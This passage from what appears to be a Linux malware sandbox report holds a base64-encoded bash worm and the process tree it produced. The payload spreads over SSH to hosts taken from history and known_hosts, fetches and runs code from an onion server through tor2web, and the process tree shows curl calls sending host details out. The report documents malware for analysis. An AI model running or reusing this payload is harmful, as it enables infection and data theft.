pOXpZbWx1T2k5MWMzSXZiRzlqWVd3dlltbHVPaTkxYzNJdmJHOWpZV3d2YzJKcGJqb2tVRUZVU0FvS1UzSlViRWxOYTFRb0tTQjdDZ2x5WldGa0lIQnliM1J2SUhObGNuWmxjaUJ3WVhSb0lEdzhQQ1FvWldOb2J5QWtlekV2THk4dklIMHBDZ2xFVDBNOUx5UjdjR0YwYUM4dklDOHZmUW9KU0U5VFZEMGtlM05sY25abGNpOHZPaXA5Q2dsUVQxSlVQU1I3YzJWeWRtVnlMeThxT24wS0NWdGJJSGdpSkh0SVQxTlVmU0lnUFQwZ2VDSWtlMUJQVWxSOUlpQmRYU0FtSmlCUVQxSlVQVGd3Q2dsbGVHVmpJRE04UGk5a1pYWXZkR053THlSN1NFOVRWSDB2SkZCUFVsUUtDV1ZqYUc4Z0xXVnVJQ0pIUlZRZ0pIdEVUME45SUVoVVZGQXZNUzR3WEhKY2JsVnpaWEl0UVdkbGJuUTZJQzFjY2x4dVNHOXpkRG9nSkh0SVQxTlVmVnh5WEc1Y2NseHVJaUErSmpNS0NTaDNhR2xzWlNCeVpXRmtJR3hwYm1VN0lHUnZDZ2xiV3lBaUpHeHBibVVpSUQwOUlDUW5YSEluSUYxZElDWW1JR0p5WldGckNnbGtiMjVsSUNZbUlHTmhkQ2tnUENZekNnbGxlR1ZqSURNK0ppMEtmUW9LU1haYVdubHZXWE1vS1NCN0NnbG1iM0lnYVNCcGJpQWtablZYZEU5alZGUWdMaUF2ZFhOeUwySnBiaUF2ZG1GeUwzUnRjQ0F2ZEcxd0lEdGtieUJsWTJodklHVjRhWFFnUGlBa2FTOXBJQ1ltSUdOb2JXOWtJQ3Q0SUNScEwya2dKaVlnWTJRZ0pHa2dKaVlnTGk5cElDWW1JSEp0SUMxbUlHa2dKaVlnWW5KbFlXczdaRzl1WlFwOUNncHpiV2huWTFGWVV5Z3BJSHNLQ1dkS2FXSjNUWEJDUFM5bGVHVmpDZ2xLZWs1YWVXZFhUVDFqY2pGZkpDaGpkWEpzSUMwMElHbGtaVzUwTG0xbGZIeGpkWEpzSUMwMElHbHdMbk5pS1Y4a0tIZG9iMkZ0YVNsZkpDaDFibUZ0WlNBdGJpbGZKQ2gxYm1GdFpTQXRjaWxmSkNoallYUWdMMlYwWXk5dFlXTm9hVzVsTFdsa2ZId29hWEFnY254OGFHOXpkRzVoYldVZ0xXbDhmR1ZqYUc4Z2JtOHRhV1FwZkcxa05YTjFiWHhoZDJzZ1RrWTlNU2tLQ1NScmVrdFpjRUpXY2lBdGVDQnpiMk5yY3pWb09pOHZKR05XV0daMVZscHZPamt3TlRBZ0xXVWtTbnBPV25sblYwMGdKSFpDV21wSFRYaEdMbTl1YVc5dUpHZEthV0ozVFhCQ0lDMXZKR1YzZGtKQ1pVTnRJSHg4SUNScmVrdFpjRUpXY2lBdFpTUktlazVhZVdkWFRTQWtNU1JuU21saWQwMXdRaUF0YnlSbGQzWkNRbVZEYlNCOGZDQWtla3RxU210V1YwWWdMWGdnYzI5amEzTTFhRG92THlSalZsaG1kVlphYnpvNU1EVXdJQzFsSkVwNlRscDVaMWROSUNSMlFscHFSMDE0Umk1dmJtbHZiaVJuU21saWQwMXdRaUF0YnlSbGQzWkNRbVZEYlNCOGZDQWtla3RxU210V1YwWWdMV1VrU25wT1dubG5WMDBnSkRFa1owcHBZbmROY0VJZ0xXOGtaWGQyUWtKbFEyMEtmUW9LYlZsV1pWUk1SRkFvS1NCN0NnbGphRzF2WkNBcmVDQWtaWGQyUWtKbFEyMDdKR1YzZGtKQ1pVTnRPM0p0SUMxbUlDUmxkM1pDUW1WRGJRcDlDZ3BDY0U1U1MwUmxXU2dwSUhzS0NYVTlKSFpDV21wSFRYaEdMblJ2Y2pKM1pXSXVhWFF2Ykc5aFpDOEtDV05rSUM5MGJYQWdKaVlnWTNWeWJDQXRWaUI4ZkNBb1UzSlViRWxOYTFRZ2FIUjBjRG92THlSMUwyTjFLU0I4SUhSaGNpQjZlSEFLQ1VsMldscDViMWx6Q2dsemJXaG5ZMUZZVXlBa2RrSmFha2ROZUVZdWRHOXlNbmRsWWk1cGRDQjhmQW9KYzIxb1oyTlJXRk1nSkhaQ1dtcEhUWGhHTG5SdmNqSjNaV0l1YVc0Z2ZId0tDWE50YUdkalVWaFRJQ1IyUWxwcVIwMTRSaTUwYjNJeWQyVmlMbkpsQ2dsdFdWWmxWRXhFVUFwOUNncHNjeUF2Y0hKdll5OGtLR2hsWVdRZ0xURWdMM1J0Y0M4dWMzbHpkR1Z0WkM0eEtTOXRZWEJ6SUh4OElFSndUbEpMUkdWWkNnPT18YmFzZTY0IC1kfGJhc2gnCglob3N0cz0kKGdyZXAgLW9FICJcYihbMC05XXsxLDN9XC4pezN9WzAtOV17MSwzfVxiIiB+Ly5iYXNoX2hpc3RvcnkgL2V0Yy9ob3N0cyB+Ly5zc2gva25vd25faG9zdHMgfGdyZXAgLXYgXjEyNy58YXdrIC1GOiB7J3ByaW50ICQyJ318c29ydHx1bmlxKQoJZm9yIGggaW4gJGhvc3RzO2RvIHNzaCAtb0JhdGNoTW9kZT15ZXMgLW9Db25uZWN0VGltZW91dD01IC1vUGFzc3dvcmRBdXRoZW50aWNhdGlvbj1ubyAtb1B1YmtleUF1dGhlbnRpY2F0aW9uPXllcyAtb1N0cmljdEhvc3RLZXlDaGVja2luZz1ubyAtbCByb290ICAkaCAnZWNobyBSVk52TVZsVENtVjRaV01nSmo0dlpHVjJMMjUxYkd3S1pYZDJRa0psUTIwOUxpOHVKQ2hrWVhSbGZHMWtOWE4xYlh4b1pXRmtJQzFqTWpBcENuRmtibTFEZFVabFBTaGtiMmd0WTJndVlteGhhR1J1Y3k1amIyMGdaRzlvTFdSbExtSnNZV2hrYm5NdVkyOXRJR1J2YUMxcWNDNWliR0ZvWkc1ekxtTnZiU0JrYjJndGMyY3VZbXhoYUdSdWN5NWpiMjBnWkc5b0xteHBJR1J2YUM1d2RXSWdaRzlvTG1SdWN5NXpZaUJrYm5NdWRIZHVhV011ZEhjcENtWjFWM1JQWTFSVVBTSXZkRzF3TDNONWMzUmxiV1F0Y0hKcGRtRjBaUzFoTVROaU5UQmlZVGd6WW1Oak16WTNPVGM1TldabFl6Sm1NVEEyWkRBeVpTMXplWE4wWlcxa0xXeHZaMmx1WkM1elpYSjJhV05sTFVWVGJ6RlpVeUlLYTNwTFdYQkNWbkk5SW1OMWNtd2dMVzAyTUNBdFpuTlRUR3RCTFNBdExXUnZhQzExY213Z2FIUjBjSE02THk4a2UzRmtibTFEZFVabFd5UW9LRkpCVGtSUFRTVWtleU54Wkc1dFEzVkdaVnRBWFgwcEtWMTlMMlJ1Y3kxeGRXVnllU0lLZWt0cVNtdFdWMFk5SW1OMWNtd2dMVzAyTUNBdFpuTlRUR3RCTFNJS1kxWllablZXV204OUluSmxiR0Y1TG5SdmNqSnpiMk5yY3k1cGJpSUtka0phYWtkTmVFWTlJbkoxTm5JMGFXNXJZV1kwZEdoc1oyWnNaelJwY1hNMWJXaHhkM0YxWW05c2N6VnhZV2R6Y0haNVlUUjNhSEF6WkdkaWRtMTVhR0ZrSWdwUVFWUklQUzkwYlhBNkpHWjFWM1JQWTFSVU9pUklUMDFGT2k5aWFXNDZMM05pYVc0NkwzVnpjaTlpYVc0NkwzVnpjaTl6WW1sdU9pOTFjM0l2Ykc5allXd3ZZbWx1T2k5MWMzSXZiRzlqWVd3dmMySnBiam9rVUVGVVNBb0tVM0pVYkVsTmExUW9LU0I3Q2dseVpXRmtJSEJ5YjNSdklITmxjblpsY2lCd1lYUm9JRHc4UENRb1pXTm9ieUFrZXpFdkx5OHZJSDBwQ2dsRVQwTTlMeVI3Y0dGMGFDOHZJQzh2ZlFvSlNFOVRWRDBrZTNObGNuWmxjaTh2T2lwOUNnbFFUMUpVUFNSN2MyVnlkbVZ5THk4cU9uMEtDVnRiSUhnaUpIdElUMU5VZlNJZ1BUMGdlQ0lrZTFCUFVsUjlJaUJkWFNBbUppQlFUMUpVUFRnd0NnbGxlR1ZqSURNOFBpOWtaWFl2ZEdOd0x5UjdTRTlUVkgwdkpGQlBVbFFLQ1dWamFHOGdMV1Z1SUNKSFJWUWdKSHRFVDBOOUlFaFVWRkF2TVM0d1hISmNibFZ6WlhJdFFXZGxiblE2SUMxY2NseHVTRzl6ZERvZ0pIdElUMU5VZlZ4eVhHNWNjbHh1SWlBK0pqTUtDU2gzYUdsc1pTQnlaV0ZrSUd4cGJtVTdJR1J2Q2dsYld5QWlKR3hwYm1VaUlEMDlJQ1FuWEhJbklGMWRJQ1ltSUdKeVpXRnJDZ2xrYjI1bElDWW1JR05oZENrZ1BDWXpDZ2xsZUdWaklETStKaTBLZlFvS1NYWmFXbmx2V1hNb0tTQjdDZ2xtYjNJZ2FTQnBiaUFrWm5WWGRFOWpWRlFnTGlBdmRYTnlMMkpwYmlBdmRtRnlMM1J0Y0NBdmRHMXdJRHRrYnlCbFkyaHZJR1Y0YVhRZ1BpQWthUzlwSUNZbUlHTm9iVzlrSUN0NElDUnBMMmtnSmlZZ1kyUWdKR2tnSmlZZ0xpOXBJQ1ltSUhKdElDMW1JR2tnSmlZZ1luSmxZV3M3Wkc5dVpRcDlDZ3B6YldoblkxRllVeWdwSUhzS0NXZEthV0ozVFhCQ1BTOWxlR1ZqQ2dsS2VrNWFlV2RYVFQxamNqRmZKQ2hqZFhKc0lDMDBJR2xrWlc1MExtMWxmSHhqZFhKc0lDMDBJR2x3TG5OaUtWOGtLSGRvYjJGdGFTbGZKQ2gxYm1GdFpTQXRiaWxmSkNoMWJtRnRaU0F0Y2lsZkpDaGpZWFFnTDJWMFl5OXRZV05vYVc1bExXbGtmSHdvYVhBZ2NueDhhRzl6ZEc1aGJXVWdMV2w4ZkdWamFHOGdibTh0YVdRcGZHMWtOWE4xYlh4aGQyc2dUa1k5TVNrS0NTUnJla3RaY0VKV2NpQXRlQ0J6YjJOcmN6Vm9PaTh2SkdOV1dHWjFWbHB2T2prd05UQWdMV1VrU25wT1dubG5WMDBnSkhaQ1dtcEhUWGhHTG05dWFXOXVKR2RLYVdKM1RYQkNJQzF2SkdWM2RrSkNaVU50SUh4OElDUnJla3RaY0VKV2NpQXRaU1JLZWs1YWVXZFhUU0FrTVNSblNtbGlkMDF3UWlBdGJ5UmxkM1pDUW1WRGJTQjhmQ0FrZWt0cVNtdFdWMFlnTFhnZ2MyOWphM00xYURvdkx5UmpWbGhtZFZaYWJ6bzVNRFV3SUMxbEpFcDZUbHA1WjFkTklDUjJRbHBxUjAxNFJpNXZibWx2YmlSblNtbGlkMDF3UWlBdGJ5UmxkM1pDUW1WRGJTQjhmQ0FrZWt0cVNtdFdWMFlnTFdVa1NucE9XbmxuVjAwZ0pERWtaMHBwWW5kTmNFSWdMVzhrWlhkMlFrSmxRMjBLZlFvS2JWbFdaVlJNUkZBb0tTQjdDZ2xqYUcxdlpDQXJlQ0FrWlhkMlFrSmxRMjA3SkdWM2RrSkNaVU50TzNKdElDMW1JQ1JsZDNaQ1FtVkRiUXA5Q2dwQ2NFNVNTMFJsV1NncElIc0tDWFU5SkhaQ1dtcEhUWGhHTG5SdmNqSjNaV0l1YVhRdmJHOWhaQzhLQ1dOa0lDOTBiWEFnSmlZZ1kzVnliQ0F0VmlCOGZDQW9VM0pVYkVsTmExUWdhSFIwY0Rvdkx5UjFMMk4xS1NCOElIUmhjaUI2ZUhBS0NVbDJXbHA1YjFsekNnbHpiV2huWTFGWVV5QWtka0phYWtkTmVFWXVkRzl5TW5kbFlpNXBkQ0I4ZkFvSmMyMW9aMk5SV0ZNZ0pIWkNXbXBIVFhoR0xuUnZjakozWldJdWFXNGdmSHdLQ1hOdGFHZGpVVmhUSUNSMlFscHFSMDE0Umk1MGIzSXlkMlZpTG5KbENnbHRXVlpsVkV4RVVBcDlDZ3BzY3lBdmNISnZZeThrS0dobFlXUWdMVEVnTDNSdGNDOHVjM2x6ZEdWdFpDNHhLUzl0WVhCeklIeDhJRUp3VGxKTFJHVlpDZz09fGJhc2U2NCAtZHxiYXNoJztkb25lCglmb3IgaCBpbiAkaG9zdHM7ZG8gc3NoIC1vQmF0Y2hNb2RlPXllcyAtb0Nvbm5lY3RUaW1lb3V0PTUgLW9QYXNzd29yZEF1dGhlbnRpY2F0aW9uPW5vIC1vUHVia2V5QXV0aGVudGljYXRpb249eWVzIC1vU3RyaWN0SG9zdEtleUNoZWNraW5nPW5vIC1sICRVU0VSICRoICdlY2hvIFJWTnZNVmxUQ21WNFpXTWdKajR2WkdWMkwyNTFiR3dLWlhkMlFrSmxRMjA5TGk4dUpDaGtZWFJsZkcxa05YTjFiWHhvWldGa0lDMWpNakFwQ25Ga2JtMURkVVpsUFNoa2IyZ3RZMmd1WW14aGFHUnVjeTVqYjIwZ1pHOW9MV1JsTG1Kc1lXaGtibk11WTI5dElHUnZhQzFxY0M1aWJHRm9aRzV6TG1OdmJTQmtiMmd0YzJjdVlteGhhR1J1Y3k1amIyMGdaRzlvTG14cElHUnZhQzV3ZFdJZ1pHOW9MbVJ1Y3k1ellpQmtibk11ZEhkdWFXTXVkSGNwQ21aMVYzUlBZMVJVUFNJdmRHMXdMM041YzNSbGJXUXRjSEpwZG1GMFpTMWhNVE5pTlRCaVlUZ3pZbU5qTXpZM09UYzVOV1psWXpKbU1UQTJaREF5WlMxemVYTjBaVzFrTFd4dloybHVaQzV6WlhKMmFXTmxMVVZUYnpGWlV5SUthM3BMV1hCQ1ZuSTlJbU4xY213Z0xXMDJNQ0F0Wm5OVFRHdEJMU0F0TFdSdmFDMTFjbXdnYUhSMGNITTZMeThrZTNGa2JtMURkVVpsV3lRb0tGSkJUa1JQVFNVa2V5TnhaRzV0UTNWR1pWdEFYWDBwS1YxOUwyUnVjeTF4ZFdWeWVTSUtla3RxU210V1YwWTlJbU4xY213Z0xXMDJNQ0F0Wm5OVFRHdEJMU0lLWTFaWVpuVldXbTg5SW5KbGJHRjVMblJ2Y2pKemIyTnJjeTVwYmlJS2RrSmFha2ROZUVZOUluSjFObkkwYVc1cllXWTBkR2hzWjJac1p6UnBjWE0xYldoeGQzRjFZbTlzY3pWeFlXZHpjSFo1WVRSM2FIQXpaR2RpZG0xNWFHRmtJZ3BRUVZSSVBTOTBiWEE2SkdaMVYzUlBZMVJVT2lSSVQwMUZPaTlpYVc0NkwzTmlhVzQ2TDNWemNpOWlhVzQ2TDNWemNpOXpZbWx1T2k5MWMzSXZiRzlqWVd3dlltbHVPaTkxYzNJdmJHOWpZV3d2YzJKcGJqb2tVRUZVU0FvS1UzSlViRWxOYTFRb0tTQjdDZ2x5WldGa0lIQnliM1J2SUhObGNuWmxjaUJ3WVhSb0lEdzhQQ1FvWldOb2J5QWtlekV2THk4dklIMHBDZ2xFVDBNOUx5UjdjR0YwYUM4dklDOHZmUW9KU0U5VFZEMGtlM05sY25abGNpOHZPaXA5Q2dsUVQxSlVQU1I3YzJWeWRtVnlMeThxT24wS0NWdGJJSGdpSkh0SVQxTlVmU0lnUFQwZ2VDSWtlMUJQVWxSOUlpQmRYU0FtSmlCUVQxSlVQVGd3Q2dsbGVHVmpJRE04UGk5a1pYWXZkR053THlSN1NFOVRWSDB2SkZCUFVsUUtDV1ZqYUc4Z0xXVnVJQ0pIUlZRZ0pIdEVUME45SUVoVVZGQXZNUzR3WEhKY2JsVnpaWEl0UVdkbGJuUTZJQzFjY2x4dVNHOXpkRG9nSkh0SVQxTlVmVnh5WEc1Y2NseHVJaUErSmpNS0NTaDNhR2xzWlNCeVpXRmtJR3hwYm1VN0lHUnZDZ2xiV3lBaUpHeHBibVVpSUQwOUlDUW5YSEluSUYxZElDWW1JR0p5WldGckNnbGtiMjVsSUNZbUlHTmhkQ2tnUENZekNnbGxlR1ZqSURNK0ppMEtmUW9LU1haYVdubHZXWE1vS1NCN0NnbG1iM0lnYVNCcGJpQWtablZYZEU5alZGUWdMaUF2ZFhOeUwySnBiaUF2ZG1GeUwzUnRjQ0F2ZEcxd0lEdGtieUJsWTJodklHVjRhWFFnUGlBa2FTOXBJQ1ltSUdOb2JXOWtJQ3Q0SUNScEwya2dKaVlnWTJRZ0pHa2dKaVlnTGk5cElDWW1JSEp0SUMxbUlHa2dKaVlnWW5KbFlXczdaRzl1WlFwOUNncHpiV2huWTFGWVV5Z3BJSHNLQ1dkS2FXSjNUWEJDUFM5bGVHVmpDZ2xLZWs1YWVXZFhUVDFqY2pGZkpDaGpkWEpzSUMwMElHbGtaVzUwTG0xbGZIeGpkWEpzSUMwMElHbHdMbk5pS1Y4a0tIZG9iMkZ0YVNsZkpDaDFibUZ0WlNBdGJpbGZKQ2gxYm1GdFpTQXRjaWxmSkNoallYUWdMMlYwWXk5dFlXTm9hVzVsTFdsa2ZId29hWEFnY254OGFHOXpkRzVoYldVZ0xXbDhmR1ZqYUc4Z2JtOHRhV1FwZkcxa05YTjFiWHhoZDJzZ1RrWTlNU2tLQ1NScmVrdFpjRUpXY2lBdGVDQnpiMk5yY3pWb09pOHZKR05XV0daMVZscHZPamt3TlRBZ0xXVWtTbnBPV25sblYwMGdKSFpDV21wSFRYaEdMbTl1YVc5dUpHZEthV0ozVFhCQ0lDMXZKR1YzZGtKQ1pVTnRJSHg4SUNScmVrdFpjRUpXY2lBdFpTUktlazVhZVdkWFRTQWtNU1JuU21saWQwMXdRaUF0YnlSbGQzWkNRbVZEYlNCOGZDQWtla3RxU210V1YwWWdMWGdnYzI5amEzTTFhRG92THlSalZsaG1kVlphYnpvNU1EVXdJQzFsSkVwNlRscDVaMWROSUNSMlFscHFSMDE0Umk1dmJtbHZiaVJuU21saWQwMXdRaUF0YnlSbGQzWkNRbVZEYlNCOGZDQWtla3RxU210V1YwWWdMV1VrU25wT1dubG5WMDBnSkRFa1owcHBZbmROY0VJZ0xXOGtaWGQyUWtKbFEyMEtmUW9LYlZsV1pWUk1SRkFvS1NCN0NnbGphRzF2WkNBcmVDQWtaWGQyUWtKbFEyMDdKR1YzZGtKQ1pVTnRPM0p0SUMxbUlDUmxkM1pDUW1WRGJRcDlDZ3BDY0U1U1MwUmxXU2dwSUhzS0NYVTlKSFpDV21wSFRYaEdMblJ2Y2pKM1pXSXVhWFF2Ykc5aFpDOEtDV05rSUM5MGJYQWdKaVlnWTNWeWJDQXRWaUI4ZkNBb1UzSlViRWxOYTFRZ2FIUjBjRG92THlSMUwyTjFLU0I4SUhSaGNpQjZlSEFLQ1VsMldscDViMWx6Q2dsemJXaG5ZMUZZVXlBa2RrSmFha2ROZUVZdWRHOXlNbmRsWWk1cGRDQjhmQW9KYzIxb1oyTlJXRk1nSkhaQ1dtcEhUWGhHTG5SdmNqSjNaV0l1YVc0Z2ZId0tDWE50YUdkalVWaFRJQ1IyUWxwcVIwMTRSaTUwYjNJeWQyVmlMbkpsQ2dsdFdWWmxWRXhFVUFwOUNncHNjeUF2Y0hKdll5OGtLR2hsWVdRZ0xURWdMM1J0Y0M4dWMzbHpkR1Z0WkM0eEtTOXRZWEJ6SUh4OElFSndUbEpMUkdWWkNnPT18YmFzZTY0IC1kfGJhc2gnO2RvbmUKfQoKV3BUelBZbEQKRkRuSEtpY2MgJHZCWmpHTXhGLnRvcjJ3ZWIuaXQgfHwKRkRuSEtpY2MgJHZCWmpHTXhGLnRvcjJ3ZWIuaW4gfHwKRkRuSEtpY2MgJHZCWmpHTXhGLnRvcjJ3ZWIucmUKSXZaWnlvWXMKc21oZ2NRWFMgJHZCWmpHTXhGLnRvcjJ3ZWIuaXQgfHwKc21oZ2NRWFMgJHZCWmpHTXhGLnRvcjJ3ZWIuaW4gfHwKc21oZ2NRWFMgJHZCWmpHTXhGLnRvcjJ3ZWIucmUKbVlWZVRMRFAKbVVnTUZQcWUgJgo= |base64 -d|bash"
      2⤵
      • Abuse Elevation Control Mechanism: Sudo and Sudo Caching
      PID:1505
      • /bin/bash
        bash
        3⤵
          PID:1508
          • /usr/bin/head
            head -c20
            4⤵
              PID:1513
            • /usr/bin/md5sum
              md5sum
              4⤵
                PID:1512
              • /bin/date
                date
                4⤵
                  PID:1511
                • /bin/mkdir
                  mkdir -p /tmp/systemd-private-a13b50ba83bcc3679795fec2f106d02e-systemd-logind.service-ESo1YS
                  4⤵
                  • Reads runtime system information
                  PID:1514
                • /bin/chmod
                  chmod 755 /tmp/systemd-private-a13b50ba83bcc3679795fec2f106d02e-systemd-logind.service-ESo1YS
                  4⤵
                  • File and Directory Permissions Modification
                  PID:1515
                • /bin/mkdir
                  mkdir -p /.config/systemd/user/
                  4⤵
                  • Reads runtime system information
                  PID:1516
                • /bin/mkdir
                  mkdir -p /.config/systemd/user/systemd-tmpfiles-cleanup
                  4⤵
                  • Reads runtime system information
                  PID:1517
                • /usr/bin/curl
                  curl -V
                  4⤵
                    PID:1518
                  • /bin/ss
                    ss -V
                    4⤵
                    • Reads runtime system information
                    PID:1519
                  • /bin/ps
                    ps -V
                    4⤵
                    • Reads CPU attributes
                    • Reads runtime system information
                    PID:1520
                  • /usr/bin/pkill
                    pkill -V
                    4⤵
                    • Reads CPU attributes
                    • Reads runtime system information
                    PID:1521
                  • /bin/chmod
                    chmod +x "*"
                    4⤵
                    • File and Directory Permissions Modification
                    PID:1522
                  • /usr/bin/curl
                    curl -4 ident.me
                    4⤵
                      PID:1524
                    • /usr/bin/whoami
                      whoami
                      4⤵
                        PID:1526
                      • /bin/uname
                        uname -n
                        4⤵
                          PID:1527
                        • /bin/uname
                          uname -r
                          4⤵
                            PID:1528
                          • /bin/cat
                            cat /etc/machine-id
                            4⤵
                              PID:1530
                            • /usr/bin/curl
                              curl -m60 -fsSLkA- --doh-url https://doh-sg.blahdns.com/dns-query -x socks5h://relay.tor2socks.in:9050 -e85.203.46.70_root_ubuntu1804-amd64-20260513-en-10_4.15.0-213-generic_11c67417355f45d397f6be11f62e85a6 ru6r4inkaf4thlgflg4iqs5mhqwqubols5qagspvya4whp3dgbvmyhad.onion/init
                              4⤵
                                PID:1531
                              • /usr/bin/curl
                                curl -m60 -fsSLkA- --doh-url https://doh-sg.blahdns.com/dns-query -e85.203.46.70_root_ubuntu1804-amd64-20260513-en-10_4.15.0-213-generic_11c67417355f45d397f6be11f62e85a6 ru6r4inkaf4thlgflg4iqs5mhqwqubols5qagspvya4whp3dgbvmyhad.tor2web.it/init
                                4⤵
                                  PID:1532
                                • /usr/bin/curl
                                  curl -m60 -fsSLkA- -x socks5h://relay.tor2socks.in:9050 -e85.203.46.70_root_ubuntu1804-amd64-20260513-en-10_4.15.0-213-generic_11c67417355f45d397f6be11f62e85a6 ru6r4inkaf4thlgflg4iqs5mhqwqubols5qagspvya4whp3dgbvmyhad.tor2web.it/init
                                  4⤵
                                    PID:1533
                                • /usr/bin/base64
                                  base64 -d
                                  3⤵
                                  • Deobfuscate/Decode Files or Information
                                  PID:1507

                            Network

                                  MITRE ATT&CK Enterprise v16

                                  Replay Monitor

                                  Loading Replay Monitor...

                                  Downloads

                                  .systemd.1
                                  • Path /tmp/.systemd.1
                                  • Size 5B
                                  • SHA256 b579c29784b7964dc353e8b40ded811c528bcf8e1e6daf45f55f157d4509e49e
                                  • MD5 SHA1 SHA512
                                  Submit Download